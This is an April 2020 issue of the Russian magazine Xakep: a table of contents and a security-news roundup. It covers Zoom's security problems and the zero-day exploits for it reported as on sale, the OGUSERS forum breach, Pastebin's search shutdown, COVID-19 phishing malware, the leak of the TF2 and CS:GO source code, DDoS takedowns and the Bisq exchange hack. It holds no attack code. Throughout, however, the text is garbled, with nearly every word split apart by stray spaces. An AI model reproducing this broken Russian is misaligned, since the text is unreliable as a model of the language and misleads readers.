CONTENTS№ 253Апрель2020
MEGANews
Всё новое за последний месяц
Android
Социальный мониторинг и советы от Microsoft
Хак в один клик
Сравниваем возможности автоматических сканеров уязвимостей
AhMyth
Создаем RAT для Android с помощью простого конструктора
Совсем не Useless Crap
Качаем скилл бинарной эксплуатации на сложной задаче с CTF
Закрепляемся в Active Directory
Как сохранить доступ при атаке на домен
Windows Setup Automation
Учим Windows 10 ставиться на автопилоте и не задавать вопросов
Срываем покровы
Черепичная запись SMR в накопителях WD и Seagate
ZetaSDR
Собираем программно определяемый радиоприемник своими руками
МикроБ
Пишем бейсик на ассемблере и умещаем в 512 байт
Стена огня
Учимся настраивать файрвол на примере MikroTik
Неизвестный OpenVPN
Знакомимся со скрытыми возможностями и настройками
BGP route leaks
Разбираемся с эффектом бабочки в глобальной сети
Стань сисадмином!
Где и как учиться сетевому администрированию
Обновить необновляемое
Treble, A/B-разметка, динамические и модульные обновления Android
Красивое время
Как я сделал «умные» часы на трубках Nixie и ESP8266
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
[email protected]
ПРОБЛЕМЫ ZOOM
Из‐за пов семест ной само изол яции и карант ина прил оже ние для орга низа ции
виде оконф еренц ий Zoom обрел о небывал ую популяр ность: количест во его
поль зовател ей возр осло с 10 мил лионов человек в декабр е 2019 года
до 300 мил лионов в апрел е 2020 года. Но вмес те с огромной популярн остью
разр абот чики Zoom заполуч или множ ес тво пробл ем.
Уяз вимост и
Все началось с того, что прил ожен ие раск ри тико вали ИБ‐спе циалис ты
и отраслев ые СМИ. В час тност и, было замече но, что при ложе ние слив ало
поль зовательс кую информа цию Facebook, лук авил о на счет end‐to‐end‐шиф‐
рования, а такж е не пояс няло, зачем вооб ще собирае т информац ию о людях.
Кро ме того, поль зовател и со общал и, что из‐за бага в их списк ах кон тактов
ока зались сот ни незн акомц ев, использ овавш их тот же поч товый домен,
а экспер ты обн аружи вали, что Windows‐клие нт Zoom пре образ ует UNC‐пути
в ссыл ки, тогд а как Zoom для macOS поз воляе т локальн ому зло умыш ленни ку
или мал вари получить в сис теме root‐прав а.
Прип омн или Zoom и прошл огод нюю уязв имость. Тог да при устан ов ке
на macOS прил ожен ие под нимало на машине поль зовате ля локальн ый
веб‐серв ер с недоку мент ирован ным API, который остав ал ся в сист еме даже
пос ле уда ления самого при ложе ния и сох ранял активность. В резуль тате
любой сайт, который посещал поль зователь, мог взаи мо дей ство вать с этим
веб‐сер вером. Это позв оляло делать виде овы зовы, подк лю чатьс я к чужим
звонк ам и даже скры то обновлять или переу ста навл ивать само при ложен ие
(без каких‐либо под твержден ий со стор оны жер твы). Так же веб‐сер вер мог
исполь зоватьс я для DoS‐атак, для чего было дост аточн о прост ых пин гов.
Так же сто ит упо мянуть и феномен Zoom‐bombing. С рос том популяр ности
при ложе ния третьи лица ста ли все чаще при соеди нять ся к виде оконф ерен‐
циям Zoom (онлайн‐урок ам, деловым встре чам и так далее), что бы сорв ать
встре чу или пошутить, а затем поделитьс я записью пранк а в социа льн ых
сетях. Об опас ности это го явле ния пре дуп редило ФБР, и пра воохр аните ли
под черкив али, что Zoom‐bombing незакон ен и за него можн о понест и наказа‐
ние (штраф или даже тюремн ое закл ючение).
Од нако пред уп режден ия пран керов не остан авл иваю т. К прим еру, на уда‐
ленн ом занятии в одной из школ Масс ачусет са неопозн анный человек при‐
соедин ил ся к встреч е и демонс три ровал татуи ровк и со свас тикой на камеру.
В дру гом случ ае неизв ес тные прер вали занятие, оскорб ляя пре пода вате ля.
Аме рикан ский конг рессмен и вовс е расс каз ал, что в начале апрел я зло умыш‐
ленник ам уда лось сор вать встре чу в Zoom, про водивш уюся на самых высоких
уров нях прав итель ства США. Пись мо об инцид ент е было напр авле но пред‐
седате лю комитет а по надз ору палаты пред ста вител ей штат а Огайо.
Документ глас ит, что, нев зирая на все пред уп режде ния со сто роны СМИ
и ФБР, чинов ники исполь зовали Zoom для про веден ия встреч и, и в итог е
бриф инг прер ывал ся из‐за Zoom‐bombing’а трижд ы.
Бойк от
Шквал крит ики со сто роны эксперт ов и СМИ не мог остатьс я незаме чен ным
в крупн ых ком пани ях и прав ительс твен ных учрежде ниях, которые в пос леднее
вре мя тоже ста ли активно использ овать Zoom.
В результ ате от Zoom ста ли офиц иальн о отказ ывать ся мног ие круп ные
игро ки. Так, еще в начале апрел я ста ло извест но, что Илон Маск запр етил
сот рудни кам SpaceX использ овать Zoom, так как прил ожен ие име ет «сущес‐
твенн ые проб лемы с безопас ностью и кон фиден циальн остью». Вмест о это го
было рекоменд овано использ овать ста рые доб рые email и телефо ны. Более
того, вско ре и амер иканс кое кос мическ ое агентство НАСА тоже зап ретило
сво им сот рудник ам исполь зовать Zoom, руководс тву ясь теми же прич инам и.
Вслед за НАСА и SpaceX ком пания Google лишила свои х сот рудник ов дос‐
тупа к Zoom. Теперь ком пания бло киру ет работу прил ожен ия на компью тер ах
и смар тфо нах, пред ост авля емых сот рудни кам, пос коль ку безопасн ость Zoom
не соот ветст вуе т станд артам Google для при ложе ний.
Дист анци руют ся от Zoom и дру гие: нап ример, на Тайв ане Zoom зап ретили
использ овать прав ительс твен ным слу жащим, так как траф ик прил оже ния про‐
ходит через сер веры в Китае, а стра ны находят ся не в луч ших отнош ени ях.
Похожий запр ет для сво их член ов выпус тило и авс трал ийс кое прав итель ство.
А в шко лах Нью‐Йор ка учит елям тоже пред ложили «пост епен но отка зывать ся
от Zoom» в поль зу дру гих серв исов для про веден ия видео конф еренц ий.
В середи не месяца издан ие Financial Times сооб щило, что чле нам сената
США и их сот рудник ам разосл али рекоменд ации, в которых исполь зование
Zoom не зап рещаю т нап рямую, но вмес то это го прил оже нию совету ют
подыск ать альт ер нативу, напр имер Skype for Business. Почт и одновре менн о
с этим немец кая газета Handelsblatt расс ка зала, что Минис терс тво иност ран‐
ных дел Герм ании тоже увед омил о сво их сот рудник ов о необ ходимос ти прек‐
ратить использ ование Zoom из сообр ажений безопас ности и конф иден‐
циальн ос ти.
Бли же к кон цу апрел я длинн ый спи сок ком паний и учрежде ний, отказ ав‐
шихся от Zoom, попол нили и власт и Индии: в стран е запр етили исполь‐
зование Zoom для про веден ия удал енн ых прав ительс твенн ых заседан ий,
сооб щив, что плат форма не под ходит для использ ования государс твен ными
служ ащим и и дол жностны ми лицами.
Раб ота над ошиб ками
Восс тан овить репута цию Zoom пос ле все го слу чивш егося опред еленн о будет
непр осто, но разр абот чики не пря чут голову в песок и сейч ас посв яща ют все
свое вре мя повышен ию безопасн ости. Так, из‐за жес ткой кри тики со сто роны
ИБ‐экспер тов в начале апрел я разр абот ку прил оже ния вооб ще остан овил и
на 90 дней, и комп ания пол ностью соср едото чилась на этих вопр осах, а так‐
же пообе щала про вес ти аудит с привл ечение м стор онн их спец иалис тов.
«Мы раз рабатыв али наш про дукт, не предп олагая, что через нес коль-
ко недель каж дый человек в мире вдруг стан ет работать, учить ся
и общать ся из дома», — писал глав а Zoom Эрик Юань, изви няясь
за все обнар ужен ные в прил ожен ии пробл емы.
К середи не месяца в ком пании сфор мировал и совет CISO, а такж е созд али
конс ульт атив ный совет для сот руднич ес тва и обме на иде ями о том,
как решать текущие пробл емы безопасн ости и конф иденц иаль нос ти Zoom.
В него вошл и CISO от VMware, Netflix, Uber, Electronic Arts и дру гих круп ных
ком паний.
Кро ме того, Zoom привл екла в качест ве кон сульт ан та Алекс а Ста моса,
бывш его гла ву безопасн ости Facebook, который поможет в пров еден ии ком‐
плексно го анал иза безопасн ости плат формы.
Стам ос уже объя вил о пла нах перейт и с нынешн ей раск ри тиков анн ой схе‐
мы шифр ования на более пров ерен ное и надеж ное решение. Так, Zoom
заменит текущее шиф рование 256‐AES ECB более безопас ным 256‐AES
GCM, и Ста мос сообщ ает, что в дол госроч ной пер спект иве пла ниру ется соз‐
дать принц ипиа льн о новый крип тогра фическ ий дизайн, который зна читель но
сни зит рис ки для Zoom‐сист ем в целом.
Так же парт нер ом Zoom ста ла ком пания Luta Security, спе циали зиру‐
ющаяся на управле нии прог раммам и рас кры тия уяз вимос тей и орган изац ии
bug bounty. Комп анию возг лав ляет ветеран киберб езопас ности Кэти Мус‐
сурис (Katie Moussouris). Основ атель ница Luta Security наибо лее извест на
тем, что коорд иниру ет bug bounty прогр аммы для Microsoft, Symantec и Пен‐
тагона. И хотя у Zoom ранее уже была прог рамма воз награжд ения за уяз‐
вимост и на плат форме HackerOne, Luta Security поможет обнов ить ее и улуч‐
шить.
В сво ем Twitter Мус сурис намек нула, что в ближ айш ее врем я к Zoom при‐
соедин ят ся и дру гие извес тные эксперт ы, в том чис ле спе циалист ка по воп‐
росам конф иден циальн ос ти Лея Кисс нер (Lea Kissner) — бывш ая глав а Priva‐
cy Technology в Google, крип тограф и проф ес сор унив ерс итета Джон са Хоп‐
кинса Мэттью Грин (Matthew Green), а так же три извес тные аудит ор ские фир‐
мы: Bishop Fox, NCC Group и Trail of Bits.
Но одной лишь орган иза цион ной деятель ностью дело не огран ичив ает ся.
Разр абот чики Zoom уже устран или ряд обнар ужен ных экспер тами недоче тов.
В част ност и, они изви нились за путани цу вокр уг E2E‐шиф рования, убрал и
из Zoom жут коватую фун кцию, поз воляв шую отсле живать вни мание поль‐
зовате лей, а так же избав ились от кода, который слив ал данн ые LinkedIn
и Facebook.
Еще один немало важ ный апдейт: для улучш ения кон фиден циаль нос ти
из интерфей са Zoom наконец‐то убрал и ID собр аний, который рань ше отоб‐
ражал ся пря мо в заголов ке прил оже ния. Пробл ема зак лючалась в том, что
мно гие комп ании и поль зовател и обна родо вали эти ID и даже пароли слу чай‐
но, пуб ликуя скрин шоты сво их собр аний в социа льн ых сетях. К прим еру,
премь ер‐министр Великобр итании Борис Джон сон поделилс я ID заседа ния
кабине та минис тров Великоб ритании, а член ы парл амен та Бель гии случ ай но
раск ры ли иден тифика тор и пароль, опубл иковав скринш от соб рания комите‐
та обо роны. Подоб ные утечк и иден тификат оров как раз активно исполь зуют‐
ся трол лями и пран керами, которые прак тикую т Zoom‐bombing.
Так же в прил ожен ии орган иза торам соб раний стал о зна чительн о про ще
управлять наст рой ками безопасн ости. Теперь для этог о есть спец иаль ный
знач ок на панели управле ния и орган иза тор собр ания может управлять все ми
нас трой ками безопасн ости из одног о мес та, больш е не нужн о переме щать ся
по раз ным экра нам.
Сто ит сказ ать, что теперь Zoom про водит еже недельн ые вебина ры «Спро‐
сите Эри ка», в рамк ах которых глав а ком пании Эрик Юань рас сказ ыва ет
об успех ах комп ании и будущих функ ци ях безопасн ости Zoom. Именн о таким
спо собом Юань сообщ ил о том, что поль зовател и сами смо гут выбирать,
какие цен тры обраб от ки дан ных использ ует Zoom (напомн ю: власт ям Тай ваня
не понр авилось, что тра фик про ходит через серв еры в Китае), где будут хра‐
нить ся их дан ные, а так же в прил оже нии появит ся воз можность сооб щать
о наруши телях.
Утеч ки данн ых
К сожале нию, не обошл ось и без утеч ек данн ых. Сна чала спец иалис ты ком‐
пании IntSights обна ружил и в про даже дамп, в который вход ят учет ные дан ные
поль зовател ей Zoom (email, пароли), а так же иден тификат оры соб раний, име‐
на и клю чи хост ов. Тогд а речь шла о срав нительн о маленьк ой БД, содер‐
жащей лишь око ло 2300 записей.
Вско ре посл е это го эксперт ы ком пании Cyble сообщ или, что на хакерс ких
форумах и в дар кне те можн о найт и при мерн о 500 тысяч учет ных записей
Zoom, которые порой раз дают вооб ще бесп лат но (таким образ ом злоу мыш‐
ленник и пытаю тся заво евать себе репута цию в хакерс ком сооб щес тве).
Исс ле доват ели объя сни ли, что най ден ные ими учет ные данн ые —
это результ ат атак и типа credential stuffing. Таким тер мином обоз начаю т ситу‐
ации, когд а имен а польз овате лей и пароли похищаю тся с одних сай тов,
а затем исполь зуют ся прот ив дру гих. То есть злоу мышл енник и име ют уже
готовую базу учет ных дан ных (при обре тен ную в дар кнет е, собр анную самос‐
тоятель но и так далее) и пытаю тся исполь зовать эти данн ые, что бы автор изо‐
вать ся на каких‐либо сайт ах и серв исах под видом свои х жертв.
Спец иалис ты напомн или, что повт орное исполь зование одних и тех же
паролей — это сквер ная идея, и рекомен дуют поль зовател ям, которые прак‐
тику ют подобн ое, не рис ковать и смен ить пароли как мож но скор ее.
0day
Так же сто ит упо мянуть инте рес ную информа цию, опуб ликован ную изда нием
Vice Motherboard. Журн алист ы пишут, что в наст оящее вре мя на рын ке сущес‐
твую т два экс пло ита для уязв имост ей нулево го дня в Zoom, которые поз воля‐
ют атак ующим взла мывать поль зовател ей и сле дить за их звонк ами. Один
эксп ло ит предн азна чен для Windows, один для macOS.
Об эксп ло итах изда нию расс ка зали три собст вен ных источник а. При этом
отмеч алось, что сами источни ки не видели кода экс пло итов, но с ними свя‐
зывал ись бро керы уяз вимос тей и предл агали данн ый «товар» для прод ажи.
«Нас коль ко я знаю, сейч ас для Zoom есть две уяз вимост и нулево го
дня. <…> Одна из них влия ет на OS X, а дру гая на Windows, — рас ска-
зал изда нию Адриэ л Десотелс (Adriel Desautels), основ атель ком пании
Netragard, которая рань ше тоже занима лась про дажей уяз вимост ей. —
Я не думаю, что у них будет долг ий „срок жиз ни“, потому что, ког-
да 0day начина ют эксп луа тир овать, он обнар ужив аетс я».
Два друг их независ имых источни ка, которые предп очли остать ся ано ним‐
ными, тоже под тверд или сущес тво вание двух эксп ло итов на рын ке. Один
из них говорит, что эксп ло ит для Windows — это чис тая RCE‐уязв имость, то
есть пробл ема, допус кающая удал енн ое выполн ение прои звольн ого кода,
которая идеа ль но подх одит для пром ыш ленног о шпио на жа. При этом эксп ло‐
ит для macOS не явля ется RCE, сог ласно информа ции тех же источник ов.
По сло вам одно го из источни ков, который занимае тся прио бре тени ем
экс пло итов, но решил не покупать конк рет но этот, в нас тоящее врем я за экс‐
пло ит для Windows про сят 500 тысяч дол ларов. Ано нимн ый эксперт счит ает,
что реаль ная цена экс пло ита сост авляе т едва ли полови ну от этой сум мы, так
как у использ ования дан ной уяз вимост и есть немалов аж ный нюанс: нужн о,
что бы хакер учас тво вал в звонк е вмест е целью. То есть для спецс лужб,
которые пред почитаю т тайн ое набл юдение, эта уяз вимость, вероя тнее всег о,
будет практ ичес ки бес полезн а.
«Zoom очень серье зно относ итс я к безопасн ости польз овател ей. Пос-
ле того как мы узна ли об этих слу хах, мы работал и с автор итет ной
ком пани ей, лидирую щей в отрасли, чтоб ы рас сле довать эти сооб-
‑щения. На сегод няшний день мы не наш ли каких либо под твержде ний
этим заявл ени ям», — сообщ или Vice Motherboard пред став ите ли Zoom.
7,59 РЫН КА ПРИ НАДЛ ЕЖИТ EDGE
По данн ым NetMarketShare, теперь бра узе ром Microsoft Edge польз ует ся боль ше людей, чем
брау зе ром Mozilla Firefox. Это делае т Edge вто рым по популяр ности брау зе ром для дес кто пов
в мире. Хотя Google Chrome по‐прежн ему лидируе т с огромным отрыв ом и в наст оящее врем я
занима ет 68,5% рынк а.
В этом месяце Edge вперв ые превз ошел Firefox по популярн ости и доле рын ка. Так, еще год
назад, весн ой 2019 года, Mozilla Firefox держ ался на уровн е 9,27%, однак о в течение года бра‐
узер пост епен но терял позиции, и в итог е к мар ту 2020 года ему прин адл ежало лишь 7,19%
рын ка.
В свою оче редь, Microsoft Edge год назад имел рыночн ую долю 5,20%, но за про шедш ее вре‐
мя подн ялся до отметки в 7,59%, то есть теперь опер ежае т Firefox на 0,40%.
КТО ХАКНУЛ OGU?
Экс пер ты серв иса монитор ин га утеч ек данн ых Under the Breach обра тили
вни мание, что один из популяр ней ших хакер ских форумов в интерне те —
OGUSERS (он же OGU) сооб щил о ком про мета ции уже втор ой раз за пос‐
ледний год.
‑«Похоже, что кто то сумел взло мать сер вер через шелл в заг рузке
ава таров в форум ном софт е и получил дост уп к нашей текущей базе
дан ных, датиру емой 2 апре ля 2020 года», — писал один из адми нис-
тра торов OGUSERS.
В ито ге неизв ес тный зло умышл енник похитил дан ные 200 тысяч поль зовате‐
лей, если верить офи циальн ой ста тис тике, указ анн ой на самом форуме.
В нас тоящее врем я OGUSERS отклю чен и переве ден в режим обслу живан ия.
Пер ед врем ен ным зак рыти ем сайт а адми нист ра торы увед оми ли поль‐
зовате лей, что сбра сываю т пароли, а такж е приз вали всех вклю чить двух‐
факторн ую аутен тифика цию для учет ных записей, что бы похищенн ые в ходе
атак и дан ные нельз я было исполь зовать для взлом а аккау нтов.
Нап омн ю, что прошл ый взлом OGUSERS про изо шел в мае 2019 года. Тог‐
да атак ующие про никл и на сер вер через уязв имость в одном из каст омных
плаг инов и получи ли дост уп к бэкапу, датиро ван ному 26 декаб ря 2018 года.
Жур налис ты Vice Motherboard, изу чивш ие копию украд енн ой БД, сооб‐
щили, что она подл инная. Утеч ку иссле довал и извес тный ИБ‐жур налист
Брай ан Кребс (Brian Krebs), который тоже подт верд ил под линность данн ых
и отмет ил, что дамп содер жал информа цию о 113 тысячах польз овате лей
OGU. Украд енн ая у OGU база дан ных потом расп ростран ялась на дру гих
хакер ских форумах.
По хищен ная в этом году БД уже тоже была опуб ликован а на конк уриру‐
ющих хак‐форумах.
КО МАНД А TOR УМЕНЬШ АЕТ СЯ
Раз работч ики Tor Project объя ви ли, что 13 из 35 разр абот чиков про екта в ско ром вре мени
будут уво лены. Виной это му неп ростая финанс овая ситуа ция, в которой межд ународн ая коман‐
да оказ алась из‐за пан демии корона виру са. Изаб ела Багеруш (Isabela Bagueros), исполни тель‐
ный дирек тор Tor Project, уве рила, что раз работк а про ектов прод олж ится и команд а, нес мотря
на сокр ащения, смож ет под держив ать работу сер веров и занимать ся раз вити ем ПО (в том чис‐
ле Tor и Tor Browser Bundle).
→ «Tor, как и боль шая часть мира, ока залс я вов лечен в криз ис COVID‐19. Криз ис сильн о уда‐
рил по нам, как и по мно гим друг им неком мерческ им орга низац иям и предп ри ятиям малого
бизн еса, и нам приш лось при нять ряд трудн ых решений. Мы вынуж дены рас стать ся
с 13 замеча тель ными людь ми, которые помогл и сдел ать Tor дос тупным для милл ионов людей
по все му миру.
Мы будем дви гать ся дальш е с основной коман дой, сост оящей из 22 человек»
— Изаб ела Багеруш, исполни тельн ый директ ор Tor Project
PASTEBIN СЛОМАЛ
СВОЙ ПОИСК
Из дание Vice Motherboard обра тило вним ание, что ИБ‐спец иалист ы расс тро‐
ены из‐за решения разр абот чиков одно го из самых популярн ых paste‐сайт ов,
Pastebin. Дело в том, что иссле дова тели пос тоянн о монитор ят дан ный ресурс,
так как он дав но стал хра нили щем для разл ичной сомн итель ной информац ии,
в том числ е ворованн ых лич ных дан ных, утек ших паролей, манифест ов хакер‐
ских групп и даже мал вари.
Од нако теперь иссле доват ели начали жаловать ся в социа льн ых сетях
на то, что им не удае тся восп ольз овать ся поиск ом по Pastebin или занять ся
скра пин гом при помощи спе циальн ого API, за дос туп к котором у они неког да
зап латили деньг и (пожиз ненная под писка сто ила 50 долл аров).
«Мног ие люди и ком пании по раз ным при чинам след или за Pastebin,
так как он служ ит источни ком самой раз ной информа ции: от мал вари
до утеч ек данн ых. Внез ап но отклю чить всех [от поиск а], никак не пре-
дупр едив и не пред ост авив даже корот кий перио д перед закр ыти-
ем, — это очень пло хое решение со сто роны Pastebin, — говорит Оли-
‑вер Хаф, ИБ исслед оват ель, который регулярн о исполь зовал Pastebin
в пов седнев ной работе. — Учи тывая, что они не слиш ком хорошо
модерир уют собс твенн ый кон тент, а теперь лишились бесп латн ой
модерац ии кон тента через крау дсорсинг, я могу лишь предп олагать,
что зло умыш ленни ки ста нут чаще исполь зовать Pastebin в свои х кам-
пани ях, а воз можнос ти дейс твов ать на опер еже ние, обнар ужив ая вре-
донос ные полез ные наг рузки и скрипт ы, преж де чем те будут исполь-
зованы, боль ше нет».
Пос ле воз мущения спец иалис тов в Twitter и на друг их плат формах предс та‐
вите ли ком пании отве тили, что дост уп к Scraping API был прекр ащен «из‐за
активно го зло упот реблен ия треть ими лицами в комм ерческ их целях, а такая
деятель ность запр ещена текущим и пра вилам и».
Как выясн или жур налис ты, Pastebin изме нил свои услов ия пред ост авле ния
услуг еще 11 апрел я 2020 года. Так, ранее прав ила гла сили:
«Иссле дова тели име ют прав о скра пить общед ос тупную неп риватн ую
информа цию на Pastebin для исслед оват ель ских целей и при услов ии,
что любые матери алы, основ ан ные на этих данн ых, будут опуб ликова-
ны в открыт ом дост упе. Архив ариу сы могут скра пить пуб личную
информа цию на Pastebin в архивных целях. Вы не можете скра пить
Pastebin с целью расс ылки спа ма, а такж е в целях про дажи лич ной
информа ции поль зовател ей Pastebin, в том чис ле рекр утерам, спе-
циалис там по подб ору перс онала и порт алам по труд оус трой ству».
Увы, в новой вер сии документ а упом ина ний скрап ин га нет вообщ е. Пред ста‐
вител и Vice Motherboard обрат ились за разъ яснен иями к предс тав ител ям
ком пании и получи ли сле дующий ответ:
«Мы прод ол жаем пред ос тавлять обновле ния для нашего сообщ ест ва
и улуч шать код нашей плат формы. Как вы зна ете, Pastebin был соз дан
более девят надца ти лет назад, для раз работ чиков раз работ чиками,
но по мере рост а мы меня емся, как и дру гие платф ормы. А такж е
учим ся у них.
‑Мы всег да рады ИБ иссле дова телям и их сообщ ени ям о любых
наруше ниях наших услов ий ока зания услуг. Нашей основной ауди-
торие й всег да были раз работч ики, инже неры и автор ы. Мы про дол-
жим обновлятьс я, предл агая соверш енно новые функ ции и изме нения
на нашей платф орме, а такж е в социа ль ных сетях».
В результ ате теперь ИБ‐спец иалист ы мрачн о шутят о том, что Pastebin окон‐
чатель но надо ел нелегаль ный и про тивоп равный кон тент, но боротьс я с ним
разр абот чики решили весь ма радикальн о, через отключ ение поиск а. Ведь
если ник то не находит наруше ния, мож но сдел ать вид, что их нет.
МАЛВ АРЬ И COVID‐19
Эк спер ты Group‐IB выясн или, какая малв арь чаще всег о экс плу атир ует тему COVID‐19 в сво их
фишин говых рас сылках. В пери од с 13 февраля по 1 апреля 2020 года спе циалист ы про ана‐
лизир овал и сот ни фишин говых писем, замас кированн ых под информа цион ные и ком мерческ ие
расс ылки о COVID‐19.
Почт и 65% вред онос ных рас сылок несл и «на борт у» шпи онское ПО (spyware).
Наи бол ее популяр ными ока зались прогр аммы‐шпи оны — 65%, вто рое мест о занима ют бэк‐
доры — 31%, на шифр овальщ ики при ходитс я око ло 4%.
Наи бол ее вост реб ованн ыми у киберп рест упни ков ока зались тро яны AgentTesla (45%),
NetWire (30%) и LokiBot (8%).
Фейк овые письм а были написан ы как на русском, так и на английском язы ках от име ни
авто ритет ных меж дународ ных орга низац ий, свя занн ых со здрав оох ранени ем (ВОЗ, ЮНИСЕФ),
а так же крупн ых рос сийс ких и межд ународ ных ком паний.
В целом проц ент фишинг овых писем, парази тирую щих на теме COVID‐19, невысок и сост авил
порядк а 5% от всег о вре доносн ого траф ика.
СЛИВ ИСХОДНИКОВ
TF2 И CS:GO
В конц е месяца на 4chan были опуб ликова ны исходные коды сра зу двух игр
комп ании Valve — CS:GO и Team Fortress 2, и отту да они момен таль но рас‐
простран ились по все му интернет у (Twitter, Reddit, торр ент‐трек еры, игро вые
форумы).
→Продолжение статьи
← Начало статьи
В игро вом сооб щес тве из‐за это го под нялась нешуточн ая паника, так
как польз овател и немедл енно предр екли появ ление RCE‐экс плои тов и мно‐
жес тва читеров. Дош ло до того, что на игро вых форумах, в соци альн ых сетях
и на Reddit ста ли появл ятьс я при зывы ни в коем слу чае не запус кать
TF2 и CS:GO, так как яко бы RCE‐эксп лои т уже сущес твуе т и даже прост ое
подк лю чение к игро вому серв еру может полн остью скомп ром ети ровать
компью тер игро ка.
Ин терес но, что никаких под твержден ных дан ных о сущест во вании
каких‐либо экс пло итов до сих пор нет. Про «RCE‐экс плои т», о котором пре‐
дупр ежда ли друг друг а игрок и, ничего не зна ют ни отраслев ые СМИ,
ни ИБ‐спе циалис ты. Ком пания Valve, в свою очер едь, увер яет, что никакой
угро зы нет. Так, вице‐през идент Valve по мар кетин гу Даг Лом барди (Doug
Lombardi) про ком менти ровал ситуа цию:
«Мы не обна ружи ли никаких при чин для того, чтоб ы игрок и вол-
новались или избег али текущих билд ов [наших игр]. Для макс ималь-
ной безопас ности мы, как обычн о, рекомен дуем играть на офиц иаль-
ных сер верах».
Valve заверил а, что рас сле дует случ ив шееся, и про сит сообщ ест во поделить‐
ся информац ией о том, кто может стоя ть за этой утеч кой. Так же в комп ании
расс ка зали журн алист ам, что утекш ие исходные коды были датиров аны кон‐
цом 2017 года. Valve сама пред ос тавлял а их доверен ным раз работ чикам игр
и модов. Более того, Лом барди говорит, что вперв ые эти исходник и утекл и
в Сеть еще в 2018 году и Valve было извест но об этом, прос то та пер‐
воначальн ая утечк а остал ась прак тичес ки никем не замеченн ой.
Но сообщ ес тво уже начало искать винова тых самост оятель но и пос‐
пешило возл ожить ответс твенн ость за инцид ент на автор а блог а ValveNews‐
Network и извес тно го инсай дера Тай лера Макв икера. Дело в том, что накану‐
не утеч ки тот сооб щал, что скор о опубл ику ет матери ал о разв итии Team
Fortress 2.
В ито ге Мак викер был вынужд ен оправды ватьс я. Он пров ел в Twitch стрим,
посв ящен ный про изо шед шей утеч ке, а так же повт орил в социа ль ных сетях,
что ему извест но, кто имен но слил исходные коды, о чем он намерен уве‐
домить юрид ическ ий отдел Valve.
Сто ит ска зать, что паническ ие наст ро ения игрок ов все же нель зя наз вать
сов сем необосн ованн ыми. Дело в том, что утечк и исходных кодов дей стви‐
тель но сущес твен но облегчаю т «работу» злоу мыш ленник ам и читерам. Хотя
в нас тоящее вре мя никаких экс пло итов, похоже, не сущест ву ет, они могут
появить ся в ближ айш ие недели или месяцы.
Пробл ема в том, что подоб ные пре цеден ты уже имел и мес то. К прим еру,
в прош лом году экспер ты Dr.Web рас сказ ыва ли, как хакеры экс плу ати руют
уязв имост и кли ента Counter‐Strike 1.6. По дан ным ана литик ов, тогд а из офи‐
циаль ного клие нта Steam было дост упно поряд ка 5000 серв еров CS
1.6 и 1951 из них был созд ан троя ном Belonard (то есть 39% всех игров ых
серв еров). Под клю чение к таким серв ерам дейс твит ель но было опасн о
и закан чивалось зараже нием Belonard.
Ос тает ся надея тьс я, что разр абот чики Valve тоже понима ют, наск ольк о
опас ными могут быть пос ледс твия утеч ки исходных кодов, и соот ветст ву‐
ющим образ ом обно вят (или уже обнов или) обе пос трад авш ие игры, ведь,
несм отря на возр аст, они по‐прежн ему польз уют ся больш ой популярн остью
у игро ков и активно подд ержив ают ся.
15 DDOS‐СЕР ВИСОВ ЛИК ВИДИРО ВАНЫ
Влас ти Нидерл андов зак рыли сраз у 15 серв исов для осущ еств ле ния DDoS‐атак по найм у.
В масш табн ой опе рации прин яли учас тие пред ста вител и веб‐хос тингов ых ком паний, регист ра‐
торы доменов, сот рудни ки Европ ола, Интерпол а и ФБР. Наз вания зак рытых серв исов пока
не сооб щают.
Одн овре мен но с этим в Нидер ландах был арес тован 19‐лет ний подозр ева емый, устра ивав ший
DDoS‐ата ки на прав итель ственн ые сай ты. Так, по его вине 2 гол ландс ких прав ительс твенн ых
ресурс а не работа ли на про тяже нии нес кольк их часов 19 мар та 2020 года.
ВЗЛОМ BISQ
Крип товалют ная бирж а Bisq прио стан овил а тор говлю из‐за взло ма, который
при вел к кра же крипт овалю ты на сум му 250 тысяч долл аров США.
О прио ста нов ке работы децент ра лизо ван ный обменник сооб щил
в середин е апрел я. Пока Bisq не работа ла, разр абот чики план иров али уста‐
новить исправ ление, устран яющее некую крит ическ ую уязв имость. Так
как Bisq — это peer‐to‐peer‐решение, польз овате ли могл и бы про игнор иро‐
вать это сообщ ение, но разр абот чики край не не рекоменд овали так пос‐
тупать и объ яснял и, что эти меры прин имаю тся ради безопасн ости самих
польз овател ей.
По информа ции порт ала CoinDesk, пробл ема у Bisq воз никла пос ле
недавн его обновле ния, которое дол жно было повысить стаб ильн ость. Одна ко
это же обновле ние содер жало уяз вимость, бла года ря которой киберп рес‐
тупни ки получил и возм ожность манипу лиро вать резерв ным и адре сами
и обхо дить врем енн ые огра ничен ия, что в итог е поз волило нап равить средс‐
тва на кошель ки, подк онт роль ные ата кующим.
Из офи циальн ого заявл ения Bisq след ует, что с помощью этой такт ики
у семи жертв были похищен ы по меньш ей мере 3 Bitcoin и 4000 Monero.
Таким образ ом, сум марный ущерб от ата ки сос тавил при мер но 250 тысяч
дол ларов США.
В наст оящее вре мя уяз вимость устран ена, и Bisq уже возоб новила работу.
И хотя внедр ение пат ча, похоже, помогл о решить проб лему безопасн ости,
оно такж е выз вало вол нения в рядах трейд еров. Так, мног ие поль зовател и
сообщ али о про валах сдел ок и исчезно вении средств посл е обновле ния
до вер сии 1.3.1, содерж ащей патч. В ответ на это разр абот чики Bisq
рекоменд овали про верять информа цию о сдел ках в разд еле Open trades
в про филях польз овате лей и при необх одимост и сообщ ать о пробл емах
с заб локиро ванн ыми средст вам и.
ПИР АТСТ ВО НА ПОДЪЕ МЕ
Сот ни мил лионов людей оста ются дома из‐за панд емии коронав иру са, и по все му миру наб‐
людаю тся измен ения в харак тере интернет‐тра фика. Так, часть населен ия сей час работае т
из дома, тог да как дру гие люди пров одят врем я в Сети в поиск ах новос тей и раз вле чений.
Из‐за этог о, нап ример, знач итель но возр ос траф ик легаль ных потоков ых сер висов. Но жур‐
налист ы изда ния Torrent Freak замети ли, что одним лишь легальн ым кон тентом поль зовате ли
не огран ичив аютс я.
За пери од с декаб ря 2019 по конец февр аля 2020 года количес тво китай ских посети телей
на пиратс ких сай тах сущес твенн о уве личи лось. Рез кий при рост посеще ний пират ских сай тов
начал ся 24 январ я, дос тигнув сво его пика 27 январ я. Пос ле это го тра фик нем ного сни зил ся,
но в кон це фев раля он все еще был при мер но на 20% боль ше, чем до эпи демии.
Загр узки тор рентов в пери од с 6 март а по 6 апрел я 2020 года тоже возр осли. Если раньш е
